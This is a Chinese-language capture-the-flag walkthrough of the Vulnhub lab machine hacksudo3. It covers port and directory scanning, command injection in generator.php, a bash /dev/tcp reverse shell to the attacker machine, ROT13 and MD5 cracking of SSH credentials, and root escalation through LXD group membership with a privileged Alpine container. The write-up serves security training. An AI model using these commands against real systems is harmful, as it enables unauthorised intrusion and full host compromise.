Vulnhub靶机：hacksudo3

一、介绍

运行环境：Virtualbox

攻击机：kali（10.0.2.15）

靶机：hacksudo3（10.0.2.45）

目标：获取靶机root权限和flag

靶机下载地址：https://www.vulnhub.com/entry/hacksudo-3,671/

二、信息收集

使用nmap主机发现靶机ip：10.0.2.45

使用nmap端口扫描发现，靶机开放端口：21、22、80

80端口：打开网站未发现可利用的功能点，源码也没有隐藏信息，页面存在一些密码信息

使用disearch进行目录爆破，发现info.php、login.php文件

但后续测试发现这两个页面没有可利用的漏洞。

可能是目录爆破不够全面，使用dirbuster再次进行爆破，发现页面：

/info.php
/login.php
/create/index.html
/hidden/index.html
/generator.php
/decrypt/index.html
/bruteforce/index.html

在测试/generator.php页面发现该页面存在命令注入漏洞

输入反引号和命令，可以执行命令

`id`

三、漏洞利用

使用命令注入反弹shell

`bash -i >& /dev/tcp/10.0.2.15/4444 0>&1`    失败
`bash -c 'bash -i >& /dev/tcp/10.0.2.15/4444 0>&1'`  成功

获取交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

四、提权

查找靶机是否存在特权命令或是否存在具有root权限的可利用的文件

find / -perm -u=s -type f 2>/dev/null

发现/usr/libexec/polkit-agent-helper-1文件，该版本的polkit存在提权漏洞CVE-2021-4034，靶机没有gcc环境我们可以上传编译好的exp进行提权。

这次我们不用这个方法

翻一翻靶机各个文件夹，发现在/var/www/目录下存在hacksudo文件，文件里面保存着一些疑似字符串被打乱的数据

unpxfhqb ybpxre FFU hfreanzr:unpxfhqb cnffjbeq:63p9142792q571q0s7p28ro30626q6s38792n2r7679o76q784231676q62447so80ns8953745s709p6622qqn2po4q754p262q0q31o3030n08s7o524079n6o336o

可以使用凯撒密码解密，当偏移量为13时解密得到：

hacksudo locker SSH username:hacksudo password:63c9142792d571d0f7c28eb30626d6f38792a2e7679b76d784231676d62447fb80af8953745f709c6622dda2cb4d754c262d0d31b3030a08f7b524079a6b336b

使用在线md5解密网站解密密码字段：vishal

切换为hacksudo用户

发现用户账号是LXD组的组成员，可以尝试lxd提权

which lxd
which lxc

攻击机操作：

通过git将构建好的alpine镜像克隆至本地；

git clone https://github.com/saghul/lxd-alpine-builder.git

执行“build -alpine”命令完成最新版本的Alpine镜像构建，此操作必须由root用户完成；

cd lxd-alpine-builder   
sudo ./build-alpine

将tar文件发送至目标设备

service apache2 start  

靶机操作：

下载攻击机上的alpine-v3.19-x86_64-20240203_0945.tar.gz

wget http://10.0.2.15/alpine-v3.19-x86_64-20240203_0945.tar.gz

镜像构建完成之后，我们就可以将其以镜像的形式添加进LXD了，注意需要从受害者机器上的用户的主目录执行此操作，否则可能会失败：

lxc image import alpine-v3.19-x86_64-20240203_0945.tar.gz --alias test

使用“list”命令即可检查可用的容器列表：

lxc image list

初始化镜像

lxd init  #一路回车
lxc init test test -c security.privileged=true

挂载磁盘

lxc config device add test test disk source=/ path=/mnt/root recursive=true

启动镜像并进入镜像访问任意文件

lxc start test
lxc exec test /bin/sh
id

进入容器之后，定位到/mnt/root即可查看目标主机设备的所有资源。运行了Bash脚本之后，我们将得到一个特殊的Shell，也就是容器的Shell。这个容器中包含了目标主机的全部资源。

获取flag

参考链接：https://blog.csdn.net/Perpetual_Blue/article/details/124645714
https://blog.csdn.net/YouthBelief/article/details/123548739